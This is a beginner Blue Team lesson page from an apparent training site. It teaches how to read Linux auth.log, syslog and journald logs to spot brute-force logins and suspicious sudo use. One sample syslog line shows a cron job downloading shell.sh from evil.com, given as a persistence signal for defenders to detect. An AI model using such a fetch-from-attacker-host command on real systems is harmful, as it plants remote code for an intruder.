HackPathHackPath
CoursesRoadmapPracticePricing
>_
HackPath

Blue Team Ops — Detect, Block, Respond

0%
Lessons
Monitoring & Detection
01Read and analyze system logs
40 min
02Detect an Nmap Scan in Firewall Logs
35 min
03fail2ban — Automatically Banning Attackers
45 min
04Harden a Server with UFW and iptables
50 min
IDS/IPS with Suricata
05Introduction to IDS/IPS — Understanding Network Detection
40 min
06Installing and Configuring Suricata
50 min
07Write Your Own Suricata Detection Rules
50 min
Centralized Logging with ELK
08Introduction to SIEM — Why Centralize Logs
35 min
09Set Up the ELK Stack
60 min
10Create Security Alerts and Dashboards in Kibana
50 min
Forensics & Incident Response
11Forensic Analysis of a Compromised System
55 min
12Recover Deleted Data with Autopsy and Foremost
50 min
13Write a Professional Incident Report
45 min

Lesson 01

Read and analyze system logs

Learn how to read Linux logs (auth.log, syslog, journald) to spot suspicious activity and understand what’s happening on your machine.

Blue Team Ops — Detect, Block, Respond/Read and analyze system logs

Why logs are your first line of defense

An attacker can be quiet. They can use legitimate tools, avoid triggering alerts, and move slowly to stay under the radar. But they can’t operate without leaving traces in logs.

System logs continuously record what happens on a machine: SSH connections, authentication attempts, service starts, system errors, and sudo activity. If you can read them, you can reconstruct what happened—even after the fact.

A Blue Team analyst spends a lot of time reading logs. It’s one of the most fundamental defensive skills.

Log triage workflow: collect, filter, correlate, validate, and document evidence and next steps.
Triage is a workflow: start small, build a timeline, validate, then document.

Essential log files on Linux

/var/log/auth.log (Debian/Ubuntu) or /var/log/secure (CentOS/RHEL)

This is one of the most important logs for security. It records authentication activity: successful and failed SSH logins, sudo usage, and password changes.

bash
You type
$sudo tail -50 /var/log/auth.log
Terminal prints
Feb 19 14:23:01 srv sshd[3421]: Failed password for root from 192.168.1.105 port 52341 ssh2
Feb 19 14:23:03 srv sshd[3421]: Failed password for root from 192.168.1.105 port 52342 ssh2
Feb 19 14:23:05 srv sshd[3421]: Failed password for root from 192.168.1.105 port 52343 ssh2
Feb 19 14:23:07 srv sshd[3422]: Accepted password for alice from 192.168.1.10 port 43210 ssh2
Feb 19 14:23:07 srv sshd[3422]: pam_unix(sshd:session): session opened for user alice

What you’re seeing: three failed logins from 192.168.1.105 against root, followed by one successful login from 192.168.1.10. The first IP looks suspicious—this is a common brute-force pattern.

/var/log/syslog or /var/log/messages

The general-purpose system log. It captures events from the kernel, services, and daemons. Useful for spotting abnormal service behavior.

bash
You type
$sudo grep 'error\|warning\|fail' /var/log/syslog | tail -20
Terminal prints
Feb 19 14:10:33 srv kernel: [UFW BLOCK] IN=eth0 OUT= SRC=10.0.0.45 DST=192.168.1.1 PROTO=TCP DPT=22
Feb 19 14:10:35 srv kernel: [UFW BLOCK] IN=eth0 OUT= SRC=10.0.0.45 DST=192.168.1.1 PROTO=TCP DPT=80
Feb 19 14:11:02 srv cron[1234]: (root) CMD (/usr/bin/wget http://evil.com/shell.sh -O /tmp/shell.sh)

That third line is critical: a cron job is downloading a script from an external server. That’s a strong persistence signal.

/var/log/kern.log

Linux kernel messages. Useful to detect low-level behaviors: suspicious module loads, memory errors, and potential kernel exploit attempts.

Using journald — the modern logging system

On modern systemd-based systems, logs are centralized in journald. The journalctl command replaces direct file reading.

bash
You type
$sudo journalctl -u ssh --since '1 hour ago'
Terminal prints
-- Logs begin at Wed 2026-02-19 13:00:00 UTC --
Feb 19 14:23:01 srv sshd[3421]: Failed password for root from 192.168.1.105
Feb 19 14:23:03 srv sshd[3421]: Failed password for root from 192.168.1.105
Feb 19 14:23:05 srv sshd[3421]: Failed password for root from 192.168.1.105
Feb 19 14:23:07 srv sshd[3422]: Accepted password for alice from 192.168.1.10
bash
You type
$sudo journalctl -p err --since today
Terminal prints
Feb 19 09:12:44 srv kernel: EXT4-fs error (device sda1): ext4_find_entry
Feb 19 11:30:21 srv sshd[2100]: error: Could not load host key: /etc/ssh/ssh_host_rsa_key

Most useful journalctl options:

OptionMeaning
-u sshFilter by service (SSH here)
-p errShow only errors and above
--since '2 hours ago'Show logs since a relative time
-fFollow in real time (like `tail -f`)
-n 100Show the last 100 lines

Find suspicious patterns with grep

Reading raw logs is inefficient at scale. grep lets you quickly filter for the events that matter.

Detect SSH login failures:

bash
You type
$sudo grep 'Failed password' /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head -10
Terminal prints
47 192.168.1.105
12 10.0.0.88
3 172.16.0.200

This extracts the source IPs behind failed logins and counts them. 192.168.1.105 with 47 attempts is clearly brute-force behavior.

Detect sudo activity:

bash
You type
$sudo grep 'sudo' /var/log/auth.log | grep -v 'pam_unix'
Terminal prints
Feb 19 14:45:10 srv sudo: alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/bin/bash
Feb 19 14:45:12 srv sudo: alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow

A user opening a root shell with sudo /bin/bash and then reading /etc/shadow is behavior worth investigating.

Analyze logs in real time

During an active incident, you want to watch logs as they arrive.

bash
You type
$sudo tail -f /var/log/auth.log
Terminal prints
Feb 19 15:01:22 srv sshd[4501]: Failed password for invalid user admin from 185.220.101.45 port 41230 ssh2
Feb 19 15:01:23 srv sshd[4502]: Failed password for invalid user admin from 185.220.101.45 port 41231 ssh2
Feb 19 15:01:24 srv sshd[4503]: Failed password for invalid user root from 185.220.101.45 port 41232 ssh2
bash
You type
$sudo journalctl -f -u ssh
Terminal prints
-- Logs begin at Wed 2026-02-19 --
Feb 19 15:01:22 srv sshd[4501]: Failed password for invalid user admin from 185.220.101.45
Feb 19 15:01:23 srv sshd[4502]: Failed password for invalid user admin from 185.220.101.45

Key takeaways

File / CommandWhat it containsWhen to use it
/var/log/auth.logSSH auth, sudo, PAMFirst place to look in most incidents
/var/log/syslogGeneral system eventsWeird service behavior, “what changed?”
/var/log/kern.logKernel messagesSuspected kernel exploits, suspicious modules
journalctl -u ssh -fLive SSH logsActive monitoring during an incident
Flashcards
Flashcard

Which file contains SSH login attempts on Ubuntu?

Flashcard

How do you view SSH logs in real time with journalctl?

Flashcard

Which grep pipeline counts the IPs with the most SSH failures?

Flashcard

What’s the difference between /var/log/auth.log and /var/log/syslog?

Hands-on exercises

Exercise 1 — On your Linux VM, run sudo tail -100 /var/log/auth.log and identify all successful SSH logins. Write down the source IPs and the usernames.

Exercise 2 — Use grep 'Failed password' /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn to list the IPs with the most failed attempts. Do any IPs look suspicious?

Open questions

How do you distinguish an SSH brute-force attack from a simple user mistake in auth.log?

Next Lesson

You now know how to read and analyze system logs. The next lesson applies this skill to a real scenario: detecting Nmap scans in your logs and understanding what reconnaissance activity looks like from a defender's perspective.

Next: Detecting Nmap Scans

Hands-on challenge

Practice what you learned — run it on your machine.

Do the challenge →

You're on a free lesson

Ready to go further?

Unlock all courses, exercises, real-world scenarios and flashcards — everything to build real skills.

Unlock full access →

No commitment · Cancel anytime

Sign in to track your progress.

Sign in to validate →

12 lessons locked in this course · 800+ students enrolled

$99/year — save 31% vs monthly

Unlock full access →